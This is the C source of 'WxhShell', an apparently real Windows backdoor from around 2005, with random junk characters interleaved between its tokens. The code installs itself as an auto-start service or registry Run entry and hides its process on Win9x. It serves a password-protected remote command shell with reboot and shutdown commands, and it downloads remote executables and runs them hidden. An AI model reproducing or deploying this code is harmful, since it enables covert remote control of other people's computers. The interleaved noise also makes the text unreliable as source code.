E g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K?T)9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V7401@F NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wOi>i`D& XY4s if (!NtQueryInformationProcess) return 0; #zy,x _-8,}F}W#s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Q7 if(!hProcess) return 0; jSYj+k @/0aj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;#~
!`>n? (tq)64XVz CloseHandle(hProcess); 9D#PO">| "4tRy9q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RycEM|51V if(hProcess==NULL) return 0; 7OWiG, +&?VA!}. HMODULE hMod; 0KDDAkR5R char procName[255]; #Y18z5vo unsigned long cbNeeded; z|b4w7I &6\rKOsn if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @6D<D6` 9i`LOl:; CloseHandle(hProcess); #^v5Eo 3mJHk<m8T if(strstr(procName,"services")) return 1; // 以服务启动 ]owH [wvX A:NY:#uC return 0; // 注册表启动 56bB~=c } Dea;9O F'#3wCzt // 主模块 . t3@86xTJ int StartWxhshell(LPSTR lpCmdLine) 2#!$f_ { ADBw" ? > SOCKET wsl; S,8zh/1y BOOL val=TRUE; FD@! z
: int port=0; k2@IJ~ struct sockaddr_in door; P!O#"(r2] K0E;4r if(wscfg.ws_autoins) Install(); |;_
yAL 1QN]9R0`#7 port=atoi(lpCmdLine); S$H4xkKs &1[5b8H;+ if(port<=0) port=wscfg.ws_port; Xl aNR+ %eah=e WSADATA data; lT:<ZQyjT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rzTyHK[ r=w%"3vb^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7]v-2
* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wM&G-~9ujk door.sin_family = AF_INET; +.R-a+y3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8p211MQ< door.sin_port = htons(port); Z0'3.D,l Rp<Xu6r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rb_G0/R closesocket(wsl); )T3wU~% return 1; v[|iuOU } SA&wW\Ym] n)=&=Uj`f if(listen(wsl,2) == INVALID_SOCKET) { \ D[BRE+ closesocket(wsl); Qxvz}r.l] return 1; QAJ>93 } @KpzxcEoO Wxhshell(wsl); 7uDUZdJy WSACleanup(); T#BOrT>V 14&EdTG. return 0; foFn`?LF aH$~':[93 } :qZ^<3+: soohyK8 // 以NT服务方式启动 @fK`l@K VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9BY b{<0tS { cnc$^[c DWORD status = 0; H{XW?O^@ DWORD specificError = 0xfffffff; <h}?0NA4 4Oy
c D serviceStatus.dwServiceType = SERVICE_WIN32; _YJw F1e+M serviceStatus.dwCurrentState = SERVICE_START_PENDING; NWpRzh8$u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j>T''Tf serviceStatus.dwWin32ExitCode = 0; i!HGM=f serviceStatus.dwServiceSpecificExitCode = 0; Lf-8G5G serviceStatus.dwCheckPoint = 0; # SXXYh-e serviceStatus.dwWaitHint = 0; B%pvk.` xn@jL;+<- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qh[t##I/ if (hServiceStatusHandle==0) return; w#1dO~ t}tKm status = GetLastError(); 4Klfnki if (status!=NO_ERROR) QXz!1o+" { @bx2= serviceStatus.dwCurrentState = SERVICE_STOPPED; m\>x_:sE serviceStatus.dwCheckPoint = 0; x -!FS h8q serviceStatus.dwWaitHint = 0; vuZ<'?Nm serviceStatus.dwWin32ExitCode = status; L~$RF {$ serviceStatus.dwServiceSpecificExitCode = specificError; 6vA5L_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ya`2 m return; *O5+?J Z! } Q.\>+4]1&& QD<4(@c5| serviceStatus.dwCurrentState = SERVICE_RUNNING; ayD\b6Z2. serviceStatus.dwCheckPoint = 0; [GuDMl3hC serviceStatus.dwWaitHint = 0; w s=T R if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }B-A*TI<h } Dpd$&Wr0Y UE4#j\ // 处理NT服务事件,比如:启动、停止 cTnbI4S; VOID WINAPI NTServiceHandler(DWORD fdwControl) Y'5ck( { LZVO9e] switch(fdwControl) GCKl[<9* { US|vYd}u+ case SERVICE_CONTROL_STOP: 0o]K6b serviceStatus.dwWin32ExitCode = 0; fUL"fMoU serviceStatus.dwCurrentState = SERVICE_STOPPED; f3>/6C serviceStatus.dwCheckPoint = 0; ,2`d3u^CW serviceStatus.dwWaitHint = 0; "Pc,+>vh { W24bO|>D SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~roHnJ> } 6&Dvp1`m return; z!+<m< case SERVICE_CONTROL_PAUSE: a}K+w7VY\ serviceStatus.dwCurrentState = SERVICE_PAUSED; l)8 V:MK break; -?RQ%Ue case SERVICE_CONTROL_CONTINUE: s]iOC6v serviceStatus.dwCurrentState = SERVICE_RUNNING; [UH5D~Yx break; ,lnuu case SERVICE_CONTROL_INTERROGATE: yFt7fdl2 break; DX";v
J }; WI6E3,ejB1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); K*9b `% } =;H'~
%\cC]<> // 标准应用程序主函数 CnH
R&` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o
FLrSmY)E { 1aE/_ q UnFEg // 获取操作系统版本 FQFENq''B OsIsNt=GetOsVer(); ej;taKzj GetModuleFileName(NULL,ExeFile,MAX_PATH); pJz8e&wyLM {yHfE, // 从命令行安装 o0'av+e7 if(strpbrk(lpCmdLine,"iI")) Install(); \bOjb\ w$ fhmr*E'J // 下载执行文件 j,xPN=+hT if(wscfg.ws_downexe) { }gW/heUE if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w8
$Qh%J'< WinExec(wscfg.ws_filenam,SW_HIDE); 6iG<"{/U5 } O+?zn: kPH^X}O$ if(!OsIsNt) { v8Zgog)V // 如果时win9x,隐藏进程并且设置为注册表启动 bJm0 HideProc(); ~ ""MeaM8[ StartWxhshell(lpCmdLine); 3kCbD=yF } Y14R"*t~ else {1aAm+ if(StartFromService()) `tG_O // 以服务方式启动 s
vb4uvY StartServiceCtrlDispatcher(DispatchTable); Rda1X~-g else j>xVy]v= | // 普通方式启动 fWyDWU StartWxhshell(lpCmdLine); :dN35Y] a /8}+#h)[ return 0; Ye2];(M } V(u2{4gZ >k}/$R+ Y:%)cUxA 2\{uqv =========================================== CLEG'bZa, e:LZ s0 $ud>Z;X=P }+
2"?f|]
~8t}*oV l;*lPRoW, " GB?#1|, \GvY`kt3 #include <stdio.h> AvE^
F1 #include <string.h> d7J[.^\ #include <windows.h> q7&yb.<KD. #include <winsock2.h> I#t9aR+& #include <winsvc.h> 93IOG{OAY #include <urlmon.h> 4AOS}@~W U;{,lS2l #pragma comment (lib, "Ws2_32.lib") MQ(/l_=zQ #pragma comment (lib, "urlmon.lib") _(`X .D mN{ajf)@ #define MAX_USER 100 // 最大客户端连接数 B"m:<@ " #define BUF_SOCK 200 // sock buffer 5
?~-Vv31s #define KEY_BUFF 255 // 输入 buffer i @9Qb sNfb %r #define REBOOT 0 // 重启 P9"D[uz #define SHUTDOWN 1 // 关机 #)A?PO2 ckN(`W,xp #define DEF_PORT 5000 // 监听端口 CS5jJi"pD3 {]\uR-a(o #define REG_LEN 16 // 注册表键长度 3Ge <G #define SVC_LEN 80 // NT服务名长度 AKKU-5
B9c C.eV|rc@T // 从dll定义API o|qeh<2=x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U.Chf9a- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *OOa)P{^D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {0vbC/?] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EO/cW<uV' RO$@>vL // wxhshell配置信息 (
ssH=a struct WSCFG { :+
9Ft> int ws_port; // 监听端口 8U2wH char ws_passstr[REG_LEN]; // 口令 ,eeL5V int ws_autoins; // 安装标记, 1=yes 0=no +%}5{lu_e char ws_regname[REG_LEN]; // 注册表键名 B N*,!fx char ws_svcname[REG_LEN]; // 服务名 EB2^]? char ws_svcdisp[SVC_LEN]; // 服务显示名 [wio/wc char ws_svcdesc[SVC_LEN]; // 服务描述信息 ).+xcv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t7oz9fSz=? int ws_downexe; // 下载执行标记, 1=yes 0=no O&gwr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9[p}.9/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~I\r1Wj; %*5g<5 }; _"!{7e`Z |t 65#1 // default Wxhshell configuration Gj7QGIKx struct WSCFG wscfg={DEF_PORT, =*:[(Py1 "xuhuanlingzhe", W|H4i;u 1, ay:\P.`5) "Wxhshell", {`K]sa7` "Wxhshell", [wy3Ld "WxhShell Service", S?nNZW\6[ "Wrsky Windows CmdShell Service", L\:YbS~] "Please Input Your Password: ", z<[.MH`ln 1, U.pr} hq "http://www.wrsky.com/wxhshell.exe", @0UwI%. "Wxhshell.exe" 8?j&{G }; Eo {1y
Z;Ir>^< // 消息定义模块 +<!)k? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "`jZ(+ char *msg_ws_prompt="\n\r? for help\n\r#>";
krr-ZiK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s;_#7x# char *msg_ws_ext="\n\rExit."; G{:af:5Fo char *msg_ws_end="\n\rQuit."; p~,3A:i char *msg_ws_boot="\n\rReboot..."; zfjD b char *msg_ws_poff="\n\rShutdown..."; t)oES>W1 char *msg_ws_down="\n\rSave to "; h2/dhp U-~*5Dd char *msg_ws_err="\n\rErr!"; yA!3XUi char *msg_ws_ok="\n\rOK!"; Y1yXB).AH8 f^6&Fb> char ExeFile[MAX_PATH]; g`)/ x\ int nUser = 0; igRDt{} HANDLE handles[MAX_USER]; ^i`3cCFB< int OsIsNt; E2q B: z6FbM^;; SERVICE_STATUS serviceStatus; {m+S{dWp SERVICE_STATUS_HANDLE hServiceStatusHandle; "]SJbuzh gQI(=in // 函数声明 $dx1[V+_ int Install(void); 6zp@#vYI int Uninstall(void); 6"7:44O;G int DownloadFile(char *sURL, SOCKET wsh); c69U1 int Boot(int flag); s=q%:uCO void HideProc(void); sxN>+v11z int GetOsVer(void); c?p0#3%L# int Wxhshell(SOCKET wsl); h=v[i!U-eY void TalkWithClient(void *cs); [NCXn>Z int CmdShell(SOCKET sock);
+eDN,iv int StartFromService(void); s]F?=yEp int StartWxhshell(LPSTR lpCmdLine); }"&n[/8~ f*|8n$% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ubzb VOID WINAPI NTServiceHandler( DWORD fdwControl ); OUlxeo/ I*+LJy;j // 数据结构和表定义 )I Y 5Y SERVICE_TABLE_ENTRY DispatchTable[] = XDP6T"h { fw:7Q7
qo {wscfg.ws_svcname, NTServiceMain}, 2rR@2Vsw2 {NULL, NULL} ?b*/ddIs }; ]|C_`,ux 1*! c
X // 自我安装 zH=/.31Q int Install(void) Xa{~a3Wy { @sB}q 6> char svExeFile[MAX_PATH]; Qb6QXjN
Q HKEY key; (6ohrM>Q strcpy(svExeFile,ExeFile); vk4C_8m DJ1XNpm // 如果是win9x系统,修改注册表设为自启动 b[{m>Fa+o# if(!OsIsNt) { 4hsPbUx9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /@9-!cL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;I!+lx3[ RegCloseKey(key); R
(tiIo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :c~9>GCE& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PSP1>-7)w RegCloseKey(key); fB;&n return 0; wc6
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} q7O,I`KaJ } 0%h[0jGj } ; d, JN else { KA|&Q<<{@ 27Kc-rcB // 如果是NT以上系统,安装为系统服务 zK'
_e&* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3i]"#wK if (schSCManager!=0) dl*_ m3T { u|_LR5S!j SC_HANDLE schService = CreateService kz7vbY ( 2cs?("8e% schSCManager, aJK-O"0/ wscfg.ws_svcname, S 0R8'Y wscfg.ws_svcdisp, ys&"r":I SERVICE_ALL_ACCESS, g^s+C Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i63`B+L{ SERVICE_AUTO_START, 9_J!s SERVICE_ERROR_NORMAL, N<L$gw+)$D svExeFile, c*S#UD+ NULL, 5}-)vsa` NULL, `YFkY^T NULL, yM (_P0 NULL, #6*V7@9]3| NULL ZfFIX5Qd\ ); O_r^oH if (schService!=0) m+D2hK* { BpQ;w,sefq CloseServiceHandle(schService); pX>ua5Z CloseServiceHandle(schSCManager); 7%:??*"~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qq`3S> strcat(svExeFile,wscfg.ws_svcname); NDB*BmG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SKB@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8eOl@}bV RegCloseKey(key); %-h7Z3YcN return 0; ~u_K&X } 17V\2=Io } c^ixdk CloseServiceHandle(schSCManager); &_Cxv8 } paq8L{R } _N>wzkJ kN'|,eKH4 return 1; w;N{>)hv } w"fCI13 /`7 I K // 自我卸载 E0sbU<11 int Uninstall(void) "_nX5J9 { pj!k|F9 HKEY key; W@:^aH ]h #WkcXQ if(!OsIsNt) { oS[W*\7'! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [TRGIGtq RegDeleteValue(key,wscfg.ws_regname); Bv;I0i:_
RegCloseKey(key); $se !8s" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y;fuh[# RegDeleteValue(key,wscfg.ws_regname); Am2*- RegCloseKey(key); '4af
], return 0; hVlyEsLg } &E.OyqGZV } !d:tIu{) } U3mXm?f else { 0^J*+ (P2[5d| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NJ
>I%u* if (schSCManager!=0) tH-gaDj_ { {@Blj3 ;w} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X }m7@r@ if (schService!=0) '9^E8+=| { }R`8h&J if(DeleteService(schService)!=0) { ! a86iHU CloseServiceHandle(schService); =L:[cIRrT; CloseServiceHandle(schSCManager); <2n'}&F return 0; Wl,%&H2S< } I'x$,s CloseServiceHandle(schService); *}+R{ } V^j3y`K CloseServiceHandle(schSCManager); 2;&mkcK' } G!AICcP^ } =ft9T&ciD 0v;ve return 1; R|/Wz/$1A } #uQrJh1o8 l>A\V) // 从指定url下载文件 .?A'6 int DownloadFile(char *sURL, SOCKET wsh) ^/G?QR { 8r5xs- HRESULT hr; 5fU!'ajaN7 char seps[]= "/"; )URwIe{ char *token; g+:$X- r char *file; #N; $ char myURL[MAX_PATH]; ;_x2Ymw char myFILE[MAX_PATH]; C#Y,r)l 4DvdEt strcpy(myURL,sURL); <MRC%!. token=strtok(myURL,seps); G?>qd}]y0L while(token!=NULL) K3Huu!Tr { [0K=I64
z file=token; 1Pu
, :Jt token=strtok(NULL,seps); Q?Wr7 } ,Yo: &>As {PL,VY)Z GetCurrentDirectory(MAX_PATH,myFILE); BeAk21xb strcat(myFILE, "\\"); SO7(K5H, strcat(myFILE, file); fv:L\N1u send(wsh,myFILE,strlen(myFILE),0); C=8H)Ef,l send(wsh,"...",3,0); cvxIp#FbW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,&0Z]* if(hr==S_OK) L+_8QK < return 0; ^n
t~-% else Xz8$Xz,O return 1; <|otZJ'2r ldP3n:7FS } [qSQ#Qzi2i k9cK bf@ // 系统电源模块 $$42pb. int Boot(int flag) m{VL\ g) { SF0Jb"kS HANDLE hToken; m^z,,t9 TOKEN_PRIVILEGES tkp; /;+oz X#VEA=4{ if(OsIsNt) { A5+q^t} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6ezcS}:+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~'(9?81d tkp.PrivilegeCount = 1;
yz2(_@R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?%93b ,7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (WJV.GcP1 if(flag==REBOOT) { D^N[=q99&e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X@cSP7b return 0; ?b5H
2W }
j|ozGO else { [;<<4k(nL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wI*Y{J return 0; hX&-/fF+f } #0(fOHPQ } <8$Md4r else { qv.n9 9?] if(flag==REBOOT) { 0"4J"q]& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `nKJR'QC return 0; >;m{{nj } (:JjQ`i else { Ln:lC(
' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0Qt~K#mr/ return 0; iW'_R{)T } #T[%6(QW } v C^>p5F ATo}FL 2 return 1; $-Cy } -7&?@M,u j+nv=p // win9x进程隐藏模块 (p^S~Ax void HideProc(void) %S c=_%6 { 1PmX."a k2pT1QZnt HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ::ri3Tu if ( hKernel != NULL ) O6/xPeak { c+H)ed> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wBLsz/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZH!;z-R FreeLibrary(hKernel); sLNNcj(Cy> } Y4`QK+~fH V>AS%lXj return;
PaNeu1cO } ?x'w~;9R/ ~C0Pu.{o // 获取操作系统版本 RFB(d=o5S int GetOsVer(void) @bE~@4mOu { l`* ( f9Q OSVERSIONINFO winfo; 4Q$!c{Y
r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h+5@I%WX GetVersionEx(&winfo); LGAX"/LX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A4}#U=3tI return 1; .izf#r:< else 6vF/e#}, return 0; $Vsy%gA< } 9?$RO[vo x`#22"m // 客户端句柄模块 BK*z 4m int Wxhshell(SOCKET wsl) moaodmt]x { Wy8,<K{ SOCKET wsh; L*9H#%3 struct sockaddr_in client; bK?MT]%}r DWORD myID; *{Yh6{ Hl/7(FJqc> while(nUser<MAX_USER) zs0hXxTY: { J+lGh9G int nSize=sizeof(client); sSz%V[XWL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %/Bvy*X& if(wsh==INVALID_SOCKET) return 1; 0lBat_<8 ldYeX+J
_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {!MVc<G. if(handles[nUser]==0) }DbE4"^K7 closesocket(wsh); tq0;^L else I=o'+>az nUser++; jx'2N~$ } xFU5\Zuw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vcwK6G HZ{n&iJ return 0; fQP,= } H@Q` rtus`A5p // 关闭 socket ![).zi+m void CloseIt(SOCKET wsh) +O4( a. { o _(0 closesocket(wsh); 7pP+5&* nUser--; 95[wM6?J ExitThread(0); D,E$_0 } 4QO/ff[ o zWb-pF| // 客户端请求句柄 F(;jM( void TalkWithClient(void *cs) Fh^ox"3c { nGns}\!7' GyuV
% SOCKET wsh=(SOCKET)cs; =&N$Vqn char pwd[SVC_LEN]; -<PC"B char cmd[KEY_BUFF]; mTJ"l(,3 char chr[1]; jFG5)t<D int i,j; EavX8r S*xhX1yUi while (nUser < MAX_USER) { X>{p}vtvf> R5gado if(wscfg.ws_passstr) { dl_{iMhF&E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u0g*O]Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Lyz_2q A //ZeroMemory(pwd,KEY_BUFF); 1|]xo3j"' i=0; dqxd3,Z while(i<SVC_LEN) { [g`, AmR\! 7=vYO|a/4 // 设置超时 W_%W%i| fd_set FdRead; ^4 8\>-Q\ struct timeval TimeOut; e"~)Utk FD_ZERO(&FdRead); g Jk[Ja FD_SET(wsh,&FdRead); q1w|'V TimeOut.tv_sec=8; ,z[(k" TimeOut.tv_usec=0; t$5jx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZtR&wk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 26 ?23J
; Dp`HeSKU^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$WR? pwd=chr[0]; Wy.";/C if(chr[0]==0xd || chr[0]==0xa) { Je@k iE pwd=0; kN.B/itvA break; ^SAq^3^P! } @/ k x
er i++; ULIFSd Y } gB >pd?d YmgCl!r@ // 如果是非法用户,关闭 socket ;iQp7aW{$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 < GDW= } J.W Ho
c T/NjNEd# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LXNQb6! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }PZ=`w*O 79wLT\& while(1) { (AuPZ hbfsHT ZeroMemory(cmd,KEY_BUFF); ).Gd1pE <sc\EK // 自动支持客户端 telnet标准 a,cC!
j=0; ~&KX-AC@ while(j<KEY_BUFF) { '?8Tx&}U8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # 66e@ cmd[j]=chr[0]; 2( _=SfQ if(chr[0]==0xa || chr[0]==0xd) { -njQc:4W,- cmd[j]=0; ;ctU&` break; ;cLUnsB\ } 3~<}bee5|q j++; i.M2E$b| } G0/>8_Q>Nr !oGQ8 e // 下载文件 ?+\E3}: if(strstr(cmd,"http://")) { ($SLb6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7E~4)k0< if(DownloadFile(cmd,wsh)) ?:/|d\,7@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~| t!G*9 else S=PJhAF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&KM/9d } n`.#59-Hx else { SX_4=^ o\goE^,aeR switch(cmd[0]) { 8(Fu CKd3w8; // 帮助 (tKMBxQo8 case '?': { `pm>' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;RHNRVP break; e "n|jRh } hDvpOIUL1 // 安装 Gkmsaf> case 'i': { "lrA%~3%[P if(Install()) " '[hr$h3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }dKLMNqPA else xqv[?
? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Q[yD<)Ubs break; qd8pF!u|# } )5G QJiY // 卸载 1.0J2nZpt case 'r': { x5F@ad9 if(Uninstall()) Vhph`[dC{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); aS/`A else mp:m`sh*i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'HB~Dbq`V break; /[?Jylj } &O*ENpF // 显示 wxhshell 所在路径 ]! )xr case 'p': { w+=Q6]FxJ char svExeFile[MAX_PATH]; [b;Uz|o strcpy(svExeFile,"\n\r"); -l[jEJS} strcat(svExeFile,ExeFile); km4g}~N</ send(wsh,svExeFile,strlen(svExeFile),0); 9I kUZW break; jCQho-1QN } Z
Xb}R^O- // 重启 Y|RdzCM case 'b': { |X 3">U +- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ERC<Dd0 if(Boot(REBOOT)) lwJip IO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8K^f:)Qw else { aDveU)]=1 closesocket(wsh); (}"S)#C ExitThread(0); n1 v,#GE } ?0z)EPQ| break; f[}|rf } <\ETPL,< // 关机 wko2M[ case 'd': { 4m /TW) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jb3.W if(Boot(SHUTDOWN)) Spo+@G send(wsh,msg_ws_err,strlen(msg_ws_err),0); >BJ}U_ck else { *l-`<. closesocket(wsh); m^A]+G#/ ExitThread(0); )Mi'(C; } `
FxtLG,F break; jsdBd2Gdc } 2d~LNy // 获取shell F.0d4:A+ case 's': { VVLIeJ(*XT CmdShell(wsh); w_3xKnMT\ closesocket(wsh); g ;LVECk ExitThread(0); )!a$#"' break; ^aptLJF } D 'n7& |